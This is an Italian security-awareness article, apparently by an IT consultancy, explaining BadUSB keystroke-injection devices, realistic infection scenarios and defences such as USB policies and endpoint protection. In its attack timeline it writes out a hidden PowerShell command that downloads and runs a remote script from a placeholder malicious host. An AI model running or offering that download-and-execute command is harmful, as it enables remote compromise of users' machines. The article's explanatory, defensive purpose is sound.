Immagina la scena. Esci dal lavoro un venerdì sera. Nel parcheggio dell'azienda, vicino alla tua macchina, c'è una chiavetta USB per terra. Sembra una normalissima pendrive da 8 GB, forse un po' vecchia. Nessuno intorno. La raccogli e pensi: "Poverino chi l'ha persa, magari dentro c'è qualcosa che mi dice di chi è, così gliela riporto lunedì". Torni in ufficio lunedì mattina, la infili nel PC per vedere. Congratulazioni: hai appena consegnato l'accesso alla tua azienda a un attaccante che l'aveva seminata apposta.

Cosa sono le BadUSB (in parole umane)

Una chiavetta USB normale si presenta al computer come "memoria di massa": tu la inserisci e il sistema operativo dice "ok, ho un disco esterno, monto la partizione, mostro le cartelle". Se non ci sono file infetti dentro, sei al sicuro. Semplice.

Una BadUSB invece è una chiavetta che, quando la inserisci, non si presenta come memoria di massa. Si presenta come una tastiera. Sì, esatto — una tastiera. Con dentro un piccolo chip che, in pochi secondi, batte a velocità sovrumana un intero script di comandi sul tuo PC come se stessi digitandoli tu. Comandi che il sistema operativo esegue senza fare storie, perché "è l'utente che sta digitando" — non c'è nessun antivirus che si insospettisce quando l'utente digita.

Se l'idea ti sembra fantascienza, ti sbagli di grosso. È un attacco documentato da anni, ha un nome tecnico (keystroke injection o HID attack), e i tool per farlo si comprano su internet a prezzi ridicoli.

Chi la usa e quanto costa (spoiler: pochissimo)

Il tool più famoso del genere si chiama USB Rubber Ducky, prodotto dall'azienda Hak5. Costa circa 80 dollari. Sembra una comunissima chiavetta USB nera, esteticamente indistinguibile. Ha una comunità gigantesca che condivide "payload" pronti all'uso (letteralmente uno store di script) per fare le cose più diverse: rubare le password Wi-Fi salvate, esfiltrare i cookie del browser, installare una backdoor, aprire una reverse shell verso l'attaccante, copiare la cartella Documenti su un server esterno.

Poi c'è il Bash Bunny, sempre di Hak5, sui 130 dollari — più potente, con più modalità di attacco, si presenta come rete + tastiera + storage insieme. E poi la variante più subdola: O.MG Cable, un cavo che sembra identico a un normale cavo Lightning o USB-C di Apple, indistinguibile a occhio nudo, ma dentro ha un chip Wi-Fi. L'attaccante può stare in un'auto parcheggiata a 50 metri e controllarlo da remoto quando tu colleghi il tuo iPhone o il tuo MacBook con quel cavo. Prezzo: 130-200 dollari.

Prezzi che ti fanno capire una cosa importante: questa non è più "roba da NSA". Chiunque con 100 euro e mezz'ora di studio su YouTube può costruirsi un arsenale BadUSB perfettamente funzionante.

Cosa succede in 5 secondi quando la inserisci

Ricostruzione realistica di un attacco Rubber Ducky su un PC Windows sbloccato, cronometrata:

  • Secondo 0: inserisci la chiavetta
  • Secondo 1: il chip si presenta come tastiera USB HID, Windows lo riconosce senza nessun avviso (le tastiere non hanno bisogno di driver né conferme)
  • Secondo 2: la "tastiera" digita Win + R per aprire "Esegui"
  • Secondo 3: batte powershell -w hidden -c "IEX (New-Object Net.WebClient).DownloadString('https://sito-malevolo.tld/payload.ps1')" e preme Invio
  • Secondo 5: uno script PowerShell viene scaricato ed eseguito. Da qui l'attaccante può fare qualsiasi cosa: creare account amministratore, aprire un tunnel di controllo remoto, installare ransomware, esfiltrare tutta la cartella Documenti verso un server esterno
  • Secondo 6: se il payload è ben scritto, cancella traccia di sé stesso dai log

Tu, nel frattempo, sei ancora lì a chiederti "ma non si apre nessuna finestra?". Perché il comando PowerShell aveva l'opzione -w hidden: girava tutto silenziosamente in background. E l'antivirus? Se il payload è ben mimetizzato passa, perché non è un file eseguibile scaricato da browser — è un semplice script di testo eseguito da uno strumento legittimo del sistema (PowerShell).

I cinque scenari più comuni (e realistici)

Non è teoria da conferenza. Ecco come queste chiavette arrivano davvero nelle aziende italiane.

1. Il classico: la chiavetta smarrita

Trovata nel parcheggio aziendale, in ascensore, sulla scrivania di una sala riunioni "condivisa", nel bagno degli uffici. Nella maggior parte dei casi, chi l'ha lasciata sapeva benissimo cosa faceva. Studi di sicurezza (Google e Università dell'Illinois hanno fatto l'esperimento con 297 chiavette lasciate nel campus): circa il 45-98% delle persone che trovano una chiavetta la inseriscono nel proprio PC. Percentuali variabili in base al contesto ma sempre altissime.

2. Il "regalo" alla fiera

Sei allo stand di un fornitore, ti danno una pendrive "con la brochure aziendale, la nostra presentazione tecnica, i listini". Sembra un gadget innocuo. Nella maggior parte dei casi lo è davvero. In alcuni casi, no. Se la fiera è settoriale (per esempio meccanica di precisione, biomedicale, difesa), le probabilità che qualcuno abbia interesse a colpire i partecipanti sono più alte di quanto sembri.

3. Il collega distratto

Un tuo collaboratore ha "trovato una chiavetta" e vuole vedere cosa c'è dentro. Ti chiede se puoi darle un'occhiata tu che "sei più esperto". Tu, in buona fede, gliela apri sul tuo PC. Da qui il problema è tuo, non suo. E se quel collega ha ricevuto la chiavetta da qualcuno di dubbio, sei tu a pagare il conto.

4. Il pacco fake

Al reparto amministrazione arriva un pacchetto anonimo con dentro una chiavetta e un biglietto: "Documentazione riservata come richiesto", oppure "Fattura fornitore, dettagli allegati". Chi lo apre lo mette al PC per capire di che si tratta. Sofisticato, mirato, funziona.

5. Il cavo che non è un cavo

Ordini un cavo di ricarica USB-C su un marketplace, arriva a 5€ invece che a 25€ come i cavi ufficiali. Sembra identico. Lo colleghi al tuo MacBook, funziona benissimo. Peccato che sia un O.MG Cable, e ci sia qualcuno che aspetta di iniettare comandi sul tuo Mac quando lo colleghi la prossima volta. Il caso "cavo sospetto" è quello che i sistemi di sicurezza aziendale quasi mai monitorano, perché "è solo un cavo".

Come proteggersi (regole pratiche)

La regola d'oro è quella del titolo: non accettare chiavette USB (né cavi) dagli sconosciuti. Se il "regalo" o il "ritrovamento" ti crea anche il minimo dubbio, non è un dubbio: è già una risposta. Non inserire. Punto.

Per il resto, ecco cosa fare:

  • Chiavetta trovata: NON inserirla nel tuo PC "per curiosità" o "per capire di chi è". Se sei in azienda, consegnala all'IT che ha strumenti per analizzarla in ambiente isolato. Se non ce l'hai, distruggila fisicamente e amen. Non stiamo parlando di 10€, non vale il rischio.
  • Chiavetta "regalo" di fiere, eventi, fornitori: se non ne hai davvero bisogno, cestinala. Se ti serve, inseriscila in un PC "sacrificabile" (una vecchia macchina non collegata alla rete aziendale), formattala completamente prima di usarla, e sappi che anche il formato non risolve un attacco BadUSB (il firmware modificato resta modificato).
  • Cavi USB: comprali solo da fornitori affidabili. Diffida dei prezzi troppo bassi. In azienda, se usi cavi di ricarica in aree comuni (sale riunioni, reception), sappi che sono un vettore di attacco possibile.
  • Disabilita AutoRun su Windows (è disabilitato di default da un pezzo, ma verifica). Su macOS non c'è AutoRun, ma non ti protegge comunque dai HID attack.
  • Blocca il PC quando ti allontani anche per 30 secondi. Un attaccante fisico che si avvicina alla tua postazione sbloccata può inserire una BadUSB e sparire in 10 secondi.
  • Tappi USB fisici: esistono piccoli tappi di plastica che chiudono fisicamente le porte USB inutilizzate (costano 5-10€ per un kit). Utili in ambienti pubblici (reception, terminali, workstation esposte).

Per le aziende: policy USB e endpoint protection

A livello aziendale, il tema BadUSB si affronta con strumenti più strutturati:

  • Policy USB centralizzata: su Windows si può configurare via Group Policy per bloccare tutti i dispositivi USB non registrati, o autorizzare solo tastiere/mouse/dispositivi noti (bianco-listati per numero seriale). Su macOS ci sono soluzioni di MDM (Jamf, Kandji) che offrono controllo analogo.
  • Endpoint protection moderni (CrowdStrike, SentinelOne, Microsoft Defender for Business): includono controlli sui dispositivi USB, rilevamento di comandi PowerShell sospetti, blocco di script scaricati da fonti non fidate.
  • Formazione ai dipendenti: la difesa più potente resta il buon senso di chi usa il PC. Una piccola sessione di formazione operativa (30-45 minuti) che mostra cosa fa DAVVERO una BadUSB — magari con demo dal vivo — vale infinitamente più di qualsiasi checklist stampata.
  • Ambiente per l'IT: se in azienda arriva regolarmente materiale su chiavette (documentazione fornitori, backup clienti, ecc.), avere una workstation isolata (senza rete, con OS "sacrificabile") per aprire "il materiale sospetto" è una best practice.

Vale la pena ricordare che le BadUSB sono uno degli strumenti preferiti nei red team assessment — quelle simulazioni di attacco che le aziende commissionano a professionisti esterni per testare la propria sicurezza. Nel 90% dei casi il red team riesce a compromettere l'azienda passando proprio dalla porta più insospettabile: quella USB della postazione di qualcuno.

In sintesi

  • Le BadUSB sono chiavette (o cavi) modificati che eseguono comandi sul tuo PC in pochi secondi, fingendo di essere tastiere
  • Non sono "roba da hacker professionisti": costano 60-200€ e sono in vendita libera
  • Sono usate per attacchi mirati alle aziende molto più spesso di quanto si pensi
  • L'antivirus non le vede (per lui è "l'utente che sta digitando")
  • Regola d'oro: mai inserire pendrive o cavi di provenienza sconosciuta
  • Le aziende serie hanno policy USB, endpoint protection con controllo dispositivi, e formano i dipendenti

Se hai dubbi su come proteggere la tua rete aziendale da questo e altri vettori d'attacco fisici, parliamone. Facciamo consulenze mirate per capire cosa serve davvero alla tua realtà — dalle policy Windows/Mac alla scelta dell'endpoint protection, fino a piccole demo di formazione operativa per il tuo team che spesso valgono più di qualsiasi corso online generico.

Nel frattempo: se trovi una chiavetta USB in ufficio la prossima settimana, ti prego, lasciala dov'è e chiamaci. Non aprirla "solo per vedere". Grazie da parte tua futura, che ci starai ringraziando.